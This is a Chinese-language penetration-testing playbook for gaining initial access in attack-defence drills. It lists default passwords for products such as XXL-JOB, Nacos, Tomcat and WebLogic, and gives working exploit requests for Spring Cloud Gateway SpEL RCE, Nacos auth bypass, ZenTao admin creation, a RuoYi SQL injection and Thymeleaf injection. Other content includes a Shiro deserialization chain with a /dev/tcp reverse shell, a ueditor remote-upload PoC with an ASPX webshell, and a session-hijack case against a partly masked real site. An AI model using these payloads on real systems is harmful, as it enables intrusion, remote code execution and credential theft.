3.攻防打点

1. 弱口令利用的思路

1.1. 弱口令字典

1.2. XXL-JOB任务调度中心

默认账号:admin
默认密码:123456
提权:
后台可反弹shell
xxl-job 未授权rce
GitHub - mrknow001/xxl-job-rce: xxl-job未授权命令执行
Pasted image 20250414004715

1.3. K8s控制台

默认账号:admin
默认密码: P@88w0rd
直接接管集群
Pasted image 20250414004726

1.4. Zabbix系统监控

默认账号:admin
默认密码:zabbix
后台可反弹shell
Pasted image 20250414004737

1.5. grafana控制台

默认账号:admin
默认密码:admin
Pasted image 20250414004749

1.6. nacos系统监控

默认账号:naocs
默认密码:nacos
后台有配置信息常见系统弱口令
能否提权?
取决于nacos后台是否存有 ak/sk 数据库密码等敏感信息
Pasted image 20250414004803

1.7. tomcat控制台

默认账号:admin,tomcat
默认密码:admin,tomcat
后台可反弹shell
Pasted image 20250414004812

提权:
直接后台部署War包
写webshell

今年实战中,我遇到tomcat PUT上传
PUT /test.txt
Put任意文件上传

1.8. ActiveMQ组件(内网比较多)

默认账号:admin
默认密码:admin常见系统弱口令
Pasted image 20250414004836

1.9. weblogic控制台

一般是打21年以前的,t3协议开的weblogic 基本是直接rce
默认账号:weblogic
默认密码:weblogic
Pasted image 20250414004846

 

1.10. RabbitMQ组件

默认账号:admin,guest
默认密码:admin,guest常见系统弱口令
Pasted image 20250414004853

1.11. gitlab控制台

可以RCE
默认账号:root
默认密码:可爆破
Pasted image 20250414004906

1.12. druid组件

默认账号:admin
默认密码:123456常见系统弱口令

提权:
可以搭配session进行后台利用
Pasted image 20250414004919

1.13. 若依后台弱口令

外包第三方多, 还有政府
默认账号:admin
默认密码:admin123
Pasted image 20250414004930
详见若依打法

2. 用户名枚举

随便登录账号显示账号不存在,说明可以枚举用户名,可以用推荐字典中test-phone.txt的字典,枚举一下存在的手机号,如果枚举成功后再爆破密码。
Pasted image 20250414005237

常见用户密码
admin、root、administrator、ceshi、test、sysadmin、system

1.弱口令用户名如admin,test,ceshi等
2.员工姓名全拼,员工姓名简拼
3.公司特征+员工工号/员工姓名
4.员工工号+姓名简拼
5.员工姓名全拼+员工工号
6.员工姓名全拼+重复次数,如zhangsan和zhangsan01
7.其他
Pasted image 20250414005443

3. 敏感文件泄露

3.1. Git信息泄露

Pasted image 20250414005500
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git 目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。

漏洞利用工具:GitHack
github项目地址: https://github.com/lijiejie/GitHack

用法示例:

GitHack.py http://www.openssl.org/.git/

修复建议:删除.git目录或者修改中间件配置进行对.git隐藏文件夹的访问。

3.2. DS_Store泄露

DS_Store 文件泄露.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。

漏洞利用工具:
github项目地址: https://github.com/lijiejie/ds_store_exp

用法示例:

ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

3.3. SVN信息泄露

svn源码泄露SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。

漏洞利用工具:Seay SVN漏洞利用工具

3.4. heapdump

heapdump 阿里云的密钥,内网的redis账号密码 ftp ssh mysql 也有可能有公网数据库,oss 、shiro key 、JWT secret

如果Actuator使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
默认端点为/heapdump,下载的heapdump文件包含时间以及后缀hprof Spring boot 2.x版本,默认端点为/Actuator/heapdump,需要将下载的heapdump文件加上.hprof后缀
https://github.com/wyzxxz/heapdump_tool

java -jar heapdump_tool.jar heapdump

输入敏感字password即可
参考案例ThermalPower
Heapdump泄露shiro key
http://ip:9003/actuator/heapdump
Pasted image 20250414005710

4. 未授权访问

之前在信息收集主动信息收集这个章节里面,我们讲了就针对URL,我们昀常用的思路就是指纹识别和路径扫描,然后路径扫描我们可以得到什么东西呢?

大概就两种东西呃,文件泄露还有一些特定的。指纹识别就是通过相应的路径来进行精准的指纹识别一些。
存在的组件在然后就是发现一些未授权访问的一些界面,或者路径。

手工渗透核心的思路就是批量打开网页查看返回包
如果删除cookie,鉴权相关HTTP头,也能访问,基本就是未授权,当然这只是Src的思路
我们的主要目的是要找到未授权文件上传接口,或者未授权添加用户的接口。
Pasted image 20250414005904

逻辑未授权,就是抓包改包,需要懂点英文
true->false
fail->success 大小写统一
0->1

4.1. JS利用-api接口测试

4.2. JS利用-敏感信息收集

4.3. JS利用-未授权访问

4.4. 修改响应包

遇到这种响应包可以尝试将flase改成true,如果返回code:* 可以改成登陆成功的数字比如200

4.4.1. 案例1

Pasted image 20250414010232 Pasted image 20250414010237
成功进来,测试其他功能
Pasted image 20250414010304
遇到这种情况不用慌,可能是校验了一些接口,我们可以在相应包把这个跳转去掉,测试接口
Pasted image 20250414010310 Pasted image 20250414010313
Pasted image 20250414010316 Pasted image 20250414010321

4.4.2. 案例2

Pasted image 20250414010344
Pasted image 20250414010349
Pasted image 20250414010354

Pasted image 20250414010400

5. SQL注入利用及SQLMAP使用

5.1. xray联动rad

Warning

真实常见建议把 max_qps 改低一些 如50-10之间

6. Thinkphp打法

现在很少遇到了。遇到基本是6版本以后的

利用Mysql写webshell :

  • 站酷分离要看数据库服务器有没有web服务
  • 数据库dba权限
  • 绝对路径(可以用报错出入获取)
    Nday exp梭哈即可
    Pasted image 20250416232958 Pasted image 20250416233001
    打点优先考虑历史Nday
    Pasted image 20250416233013

7. 若依打法

Pasted image 20250416233025

7.1. Shiro反序列化

Pasted image 20250416233033
Pasted image 20250416233042

7.2. SQL注入(需要登录)

漏洞点为系统管理中的角色管理的搜索功能,发现注入点参数为:params[dataScope]
POC:

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime ]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

Pasted image 20250416233114 Pasted image 20250416233116

Thymeleaf模板注入(需要登录)
给payload编码一下,选URL编码:
${T (java.lang.Runtime).getRuntime().exec("curl xxxx.dnslog.cn")}
登录系统,需要添加cookie访问

http://192.168.0.2/monitor/cache/getNames?fragment=header(%24%7b%54%20%2 8%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63 %75%72%6c%20%78%78%78%78%2e%64%6e%73%6c%6f%67%2e%63%6e%22%29 %7d%0a)

Pasted image 20250416233140

7.3. SnakeYaml 反序列化(需要登录)

Pasted image 20250416233154 Pasted image 20250416233158
yaml-payload下载地址
https://github.com/artsploit/yaml-payload/
修改AwesomeScriptEngineFactory.java
javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个
AwesomeScriptEngineFactory.class文件
jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包
Pasted image 20250416233235

7.4. 若依-Swagger未授权

若依系统内置了swagger,所以会有可能有未授权访问未授权访问路径常见的有 /swagger-ui.html/prod-api/swagger-ui.html/api/swagger-ui.html 等,配合目录扫描工具效果更佳。

7.4.1. 若依用户名遍历

用于弱口令爆破,偏门的用户名容易出成果。
通过接口获取用户名,搭配123456进行后台账户弱口令爆破
通过微信以游客身份登录小程序,结合该系统后台API若依框架开发,故利用以下请求接口成功获取到当前该系统后台管理员账户信息为admin,admin_ah,admin_ah2,还有其他各类接口,这里不做展示,可参考其他若依开发的系统照搬。
Pasted image 20250416233407 在/prod-api/system/user/authRole/1,通过遍历用户ID可获取该用户的密码hash值
Pasted image 20250416233414

8. 常见反序列化漏洞的利用

8.1. struts2打法

大部分情况下可以被指纹识别
总结:看见Do、action后缀结尾的网站都要留意一下之前打某电网,就是这样偶然爆到一个路径发现web入口
登录后台是action结尾,第六感直接S2一把梭
fofa语法 app=”Struts2”

8.2. shiro打法

一般都藏的很深,很偏的边缘网站上,可能运维人员都知道这个站不适合发到公网
比如: IP部署、 子域名发出来 一会又偷偷关了

8.2.1. 正常打法(有利用链)

打内存马、一把梭
Xray shiro专题扫描
mingdong Burp插件扫描
Ez、Arl自带扫描
或者通过主动指纹识别区分资产之后主动扫描

8.2.2. shiro无链打法

无链基本就是拼运气,看Dnslog有没有记录

常规的打点可通过fofa、hunter、quake等网络测绘平台进行资产收集,收集好后进行去重,把去重后的资产列表进行批量指纹识别,筛选出重要易打点的系统

在常规的hw中这些方法比较通用,但是对于教育行业来说会相对困难,有edusrc的存在许多通用型漏洞已经被提交修复了,因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点

坐了一天牢后,终于通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro
直接工具开冲,发现有默认key但是无利用链
Pasted image 20250416233655
这里想到之前学习shiro可以无依赖利用,感觉有戏尝试一波,相关知识可学习此文章
https://www.le1a.com/posts/a5f4a9e3/

java -jar shiro_tool.jar 地址

VPS:端口
Pasted image 20250416233818
通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台
测试
Pasted image 20250416234056
dnslog有回显接下来就是拿shell了,这里由于固化思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功

这里可以通过网站快速生成payload, https://x.hacking8.com/java-runtime.html
一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是windows,所以这里payload要改变一下
Linux:

#字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 
CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"

Windows:

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"

d2hvYW1p为命令的base64,这里是执行命令whoami
Pasted image 20250416234213

8.3. log4j2打法

mingdong + dnslog (很多时候能收到回显,但是利用不了)
交给脚本吧

8.4. fastjson打法

很常见
mingdong + dnslog

8.5. 各大OA

大部分OA都带路由的,只要把IP端口找到,直接访问或者路径拼接访问,都可以直接跳转到路由页面
基本拼的是自己的漏洞储备
一般都是打Nday
国护前的省护每年都会有攻击队砸0day

注意的是

  • 蓝凌OA: /ekp/
  • 金蝶OA: /k3cloud/目录 默认是IIS界面
    建议加入字典

9. 接口未授权漏洞

9.1. Druid未授权利用思路

一般存在目录
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
Pasted image 20250416235520

常见的未授权

9.1.1. Swagger未授权

/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs

9.1.2. 提权

首先,是未授权的访问界面,主要关注Session监控和URI监控这两个地方,如图
Pasted image 20250416235701
可以看到,存在了大量SESSION信息,我们找几个拿来用,需要访问的IP地址是外外网IP,因为内部访问的
用不了,我收集了下面这三个:

0b055336-85f8-4bdc-8008-d45dc23c6b2f
7a5681a1-a790-47fa-948b-a1f1a3532d09  
3aaaa4d3-1259-4e64-835d-fb1f9bf35eda

既然有session了,下面要找到登录界面尝试一下登录的时候替换session会有什么效果,然后我再URI监控的地方找到了一些后台登录地址:
Pasted image 20250416235722
直觉感觉membership/index 页面可能不寻常,构造使用下方POST包,使用Burp发包:

POST /********-service/me****ship/index/ HTTP/1.1
Host: *****.bl*******.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) 
Gecko/20100101Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 101
Origin: http://***p.********.com.c*
Connection: close
Referer: http://*****.bl*******.com.cn/******-view/
Cookie: Hm_lvt_ed752fa41bdfde359bfde28ccd27b888=1597904479,1597907505;sid=0b055336-85f8-4bdc-8008-d45dc23c6b2f;token=029d8a6ac03358de6e57c7254acbd017;

username=80560478&password=FSMBKxmUSkq9MfJjyAgyEA%3D%3D&isCookieLogin=Y&validationCo de=anqr&brand=999

其中要注意的是Cookie中的sid参数,即为session里面监控找到的数据,使用burp观察返回包:
Pasted image 20250416235755
Pasted image 20250416235759
可以看到用在Session监控下收集的数据,替换过后,可以得到用户名和用户ID。
下面我们需要使用到用户id,来到某大数据产品平台,输入用户id,密码随便填写
我们使用80560478这个账号,也就是上面通过session获取到的:
Pasted image 20250416235806
Pasted image 20250416235809
我们将标记的sid替换为前面收集0b055336-85f8-4bdc-8008-d45dc23c6b2f这个,也就是获取到账号80560478的session:
Pasted image 20250416235817
Pasted image 20250416235820
最终可以看到成功登录到后台页面。

要GET的页面
必须是后台本身存在的页面
比如常见的
index
home
main
info
userinfo
admin

如果是jsp的站,记住加相应的后缀
Pasted image 20250416235835

10. Swagger未授权

Pasted image 20250416235900
Pasted image 20250416235904
Pasted image 20250416235907
Pasted image 20250416235912
swagger接口利用
Pasted image 20250416235918
对于这种swagger接口信息泄露的,你一个个去测很麻烦,于是推荐一个工具
https://github.com/jayus0821/swagger-hack

python swagger-hack2.0.py -u "[http://xxx.com](http://xxx.com)"

10.1. 越权

在泄露的Swagger UI页面中发现了管理员添加用户模块以及分配权限模块。
Pasted image 20250417000001
有一个小细节需要注意,如果Swagger页面的地址不是直接拼接在域名之后,而是需要在域名后添加一些额外的路径,就像图中所示的情况,直接请求可能会导致404错误。
Pasted image 20250417000016
因此,一般需要在域名后添加swagger-ui.html之前的URI地址(例如示例中的/api),才能够正常进行访问。
Pasted image 20250417000029
而在这种情况下,管理员添加用户接口也存在相同的情况。将curl指令复制出来,并添加上缺失的URI地址后,直接测试访问发现存在身份认证。
Pasted image 20250417000036
但幸运的是,对应该Swagger的web应用提供了注册功能。我们尝试利用注册的低权限用户的cookie去访问,以查看是否可以进行垂直越权操作。将登录后的cookie添加在curl请求的-b参数中,再次访问,成功地进行了垂直越权,以管理员身份添加了用户。
Pasted image 20250417000044
接着,利用泄露的权限管理接口,成功为用户添加了管理员模块权限。
Pasted image 20250417000052

10.2. 接口SQL注入

根据查询接口的参数进行正常的SQL注入即可。
Pasted image 20250417000102 3.未授权访问
许多开发者为了方便接口测试,取消了身份会话认证,这也导致了未授权访问问题变得十分频繁。可以想象一下,几十个功能接口就像是光溜溜地躺在你面前,等待着被发现和利用。
最常见的情况就是未授权的查询接口,只需要简单地点击一下"Execute"按钮,所需的信息就会呈现出来。
Pasted image 20250417000117
Pasted image 20250417000131

10.3. 文件上传

10.3.1. 案例1

如果接口自带try it out
可直接前端点击上传
文件上传接口大多采用纯接口形式,没有前端校验,因此可以直接上传相应的测试脚本文件进行安全测试
Pasted image 20250417000208 Pasted image 20250417000212
Pasted image 20250417000216 Pasted image 20250417000220

10.3.2. 案例2

构造上传
Pasted image 20250417000238
Pasted image 20250417000241
构造上传文件
Pasted image 20250417000249
Pasted image 20250417000253
Pasted image 20250417000255

10.4. 5.敏感信息泄露

因为Swagger UI页面的泄露本身就属于最严重的敏感信息泄露,相比于接口中的敏感信息泄露,更多的情况是模块中的测试数据泄露。有时测试账号也可能拥有较高的权限,这增加了安全风险。
Pasted image 20250417000307

10.5. 认证限制突破思路

如果Swagger开启了页面访问限制
如图所示,某个Swagger UI页面已经添加了登录认证。
Pasted image 20250417000326
除了尝试弱口令,还可以直接在swagger-ui.html之前的路径后添加/v1/api-docs,这样就可以访问接口了(其中v1代表接口的版本,你也可以尝试v2、v3等版本,也许会有意想不到的惊喜等着你~)。
Pasted image 20250417000339 您可以以 JSON 格式查看 Swagger 文档,只需访问以下路径:/swagger/v1/swagger.json
这将返回一个包含 Swagger 文档信息的 JSON 格式文件。
Pasted image 20250417000357

11. SpringBoot 未授权访问

插件扫到spring boot未授权
Spring Boot Actuator heapdump 阿里云的密钥,内网的redis账号密码 ftp ssh mysql 也有可能有公网数据库,oss shiro key 反序列化 rce
Pasted image 20250417000414
使用apikit去跑路由
Pasted image 20250417000420

11.1. 提权

经典spring getway,发现存在的时候,就直接丢工具了,但是提示不存在漏洞本来是准备放弃了,翻apikit的扫描结果的时候,发现这个getway接口是正常可以访问,响应200且存在回显的

随机手工发包添加路由,201有戏,这里路径一定要对
Pasted image 20250417000438

POST /prod-api/actuator/gateway/routes/hacktest HTTP/1.1
Host: IP:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: enå
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 
like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new 
java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang
.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0
}

然后刷新路由,报了400,但是不影响
Pasted image 20250417000525

POST /prod-api/actuator/gateway/refresh HTTP/1.1
Host: IP:8000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Cookie: EASSESSIONID=154752934; NAPRoutID=154752934
Connection: keep-alive

访问路由,rce到手
Pasted image 20250417000544

GET /prod-api/actuator/gateway/routes/hacktest HTTP/1.1
Host: ip:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 
like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Connection: close

有时候工具不行,建议手工试试,再推荐两个工具
https://github.com/CllmsyK/YYBaby-Spring_Scan
https://github.com/wh1t3zer/SpringBootVul-GUI

12. Nacos未授权

默认口令nacos/nacos
存在未授权添加管理员漏洞
未授权进入后台添加
返回包修改为如下
Pasted image 20250417000625

HTTP/1.1 200
Date: Thu, 10 Nov 2022 01:27:16 GMTContent-Type: application/jsonContent-Length: 13
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-HeadersContent-Security-Policy: script-src 'self'
Server: elb
{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyo oAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}

Pasted image 20250417000650
未授权访问到管理控制台
Pasted image 20250417000658

后续操作添加header
ServerIdentity: security
即可绕过任意操作

12.1. 提权

取决于nacos后台是否存有 ak/sk 数据库密码等敏感信息

12.2. 案例

12.2.1. 获取AK/SK 数据库配置文件等

Pasted image 20250417000710

可直接通过CF或各大云渗透exp直接接管云服务器
Pasted image 20250417000716

12.2.2. asp.net web 页面

碰到asp.net默认页面的时候,得留意一下有没有api的功能点
Pasted image 20250417000732
Pasted image 20250417000736
这些api接口可能会有漏洞sql、上传等等 可能就可以突破了
Pasted image 20250417000743

12.2.3. wsdl

Pasted image 20250417000750
有 wsdl/soap 不知道怎么测?除了老版本awvs以外
可以使用 soapui 直接抓取目标接口,也可用 burp 插件
Wsdler进行SQL注入、XSS测试

13. 常见Nday

13.1. Jeecg

指纹:
body="jeecg-boot"
title="Jeecg-Boot 快速开发平台" || body="积木报表"
body="jeecg-boot"
app="JEECG"

13.2. confluence

13.3. 安防平台

13.4. 禅道

0x01 简介
禅道由禅道软件(青岛)有限公司开发,国产开源项目管理软件。它集项目集管理、产品管理、项目管理、质量管理、DevOps、知识库、BI效能、工作流、学堂、反馈管理、组织管理和事务管理于一体,是一款专业的研发项目管理软件,完整覆盖了研发项目管理的核心流程。
0x02 漏洞概述
禅道项目管理系统在开源版、企业版、旗舰版的部分版本中都存在此安全漏洞。攻击者可利用该漏洞创建管理员用户,获得后台管理员权限。在进入后台后,也可以结合其他漏洞实现远程代码执行。
0x03 影响版本
v16.x <= 禅道 < v18.12 (开源版)
v6.x <= 禅道 < v8.12 (企业版)
v3.x <= 禅道 < v4.12 (旗舰版)

0x04 环境搭建
Pasted image 20250417003217.png
windows安装包地址如下:
https://www.zentao.net/dl/zentao/18.10/ZenTaoPMS-18.10-zbox.win64.exe
成功搭建
Pasted image 20250417003232.png

0x05 漏洞利用
未授权获取有效cookie

GET /zentao/api.php?
m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=dddidkyo dsnfamzvjidb&branch=klmnehgxnsmeuhshbooy HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 2

Pasted image 20250417003311.png
创建管理员用户

POST /zentao/api.php/v1/users HTTP/1.1
Host: 127.0.0.1:81
Cookie: zentaosid=xxxxx;
Content-Length: 90

{"account":"rootroot","password":"Qwe123","realname":"rootroot","role":"","group":"2 "}

Pasted image 20250417003329.png
Pasted image 20250417003331.png

14. 不能错过的点

14.1. 关于路径的403 bypass

下次遇到403的时候,可以尝试进行一些使用。

Note

titile:服务器403路径的原因
1、你的IP被列入黑名单
解决办法——更换IP
2、你在一定时间内过多地访问此网站(一般是用采集程序),被防火墙拒绝访问了。
解决办法——更换IP,或者修改XFF头(某云waf就拦截XFF)
3、网站域名解析到了空间,但空间未绑定此域名
解决办法——没有绑定域名,需要进行Host碰撞猜解
4、你的网页脚本文件在当前目录下没有执行权限。
解决办法——更换目录,或者更换后缀
5、在不允许写/创建文件的目录中执行了创建/写文件操作。
解决办法——更换目录活或提权
6、以http方式访问需要ssl连接的网址。
解决办法——HTTPS
7、浏览器不支持SSL 128时访问SSL 128的连接。
解决办法——更换浏览器
8、在身份验证的过程中输入了错误的密码。

9、DNS解析错误,手动更改DNS服务器地址。
10、连接的用户过多,可以过后再试。
11、服务器繁忙,同一IP地址发送请求过多,遭到服务器智能屏蔽

14.2. intruder 速率限制绕过

在访问某些特定的目录为状态码为403,且请求延迟了几秒的情况下,可通过burp的intruder来进行测试,  
可能发现目录遍历,从而导致敏感文件泄露。  
intruder参数设置如下:

Note

payload: null
Number of threats: 6
Numbers of retries on network failure: 4  
ause before retry (milliseconds): 3000

14.3. Heade头绕过

可以通过修改如下Header头来试图改变请求IP,当然,他也可以尝试用来绕过FW的拦截IP黑名单

Note

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

14.4. 一次实例

https://i.xxxzhu.com 直接404
Pasted image 20250417003452.png
存在一个网站 http://i.xxxzhu.com
直接访问根目录302冲重定向跳转
Pasted image 20250417003500.png
添加/;/绕过302
Pasted image 20250417003507.png
Pasted image 20250417003509.png
/;/
/..;/
攻防场景
推荐直接使用dirsearch bypass403版本

15. ueditor

知名编辑器Ueditoru存在未授权文件上传
需本地搭建html进行远程上传
Poc:

<form action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage" 
enctype="multipart/form-data" method="POST">
 <p>shell addr: <input type="text" name="source[]" /></p>
 <input type="submit" value="Submit" />
</form>

在利用这个POC的时候,需要一个外网服务器,上传脚本文件,其中【shell addr】后填写的就是服务器上脚本的地址加上后缀(?.aspx)。
制作一个图片马放到外网服务器上面

copy 1.jpg/b +2.aspx 3.jpg

一句话脚本

<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

上传成功后服务端会返回webshell地址
Pasted image 20250421003200.png
成功上传Webshell
Pasted image 20250421003208.png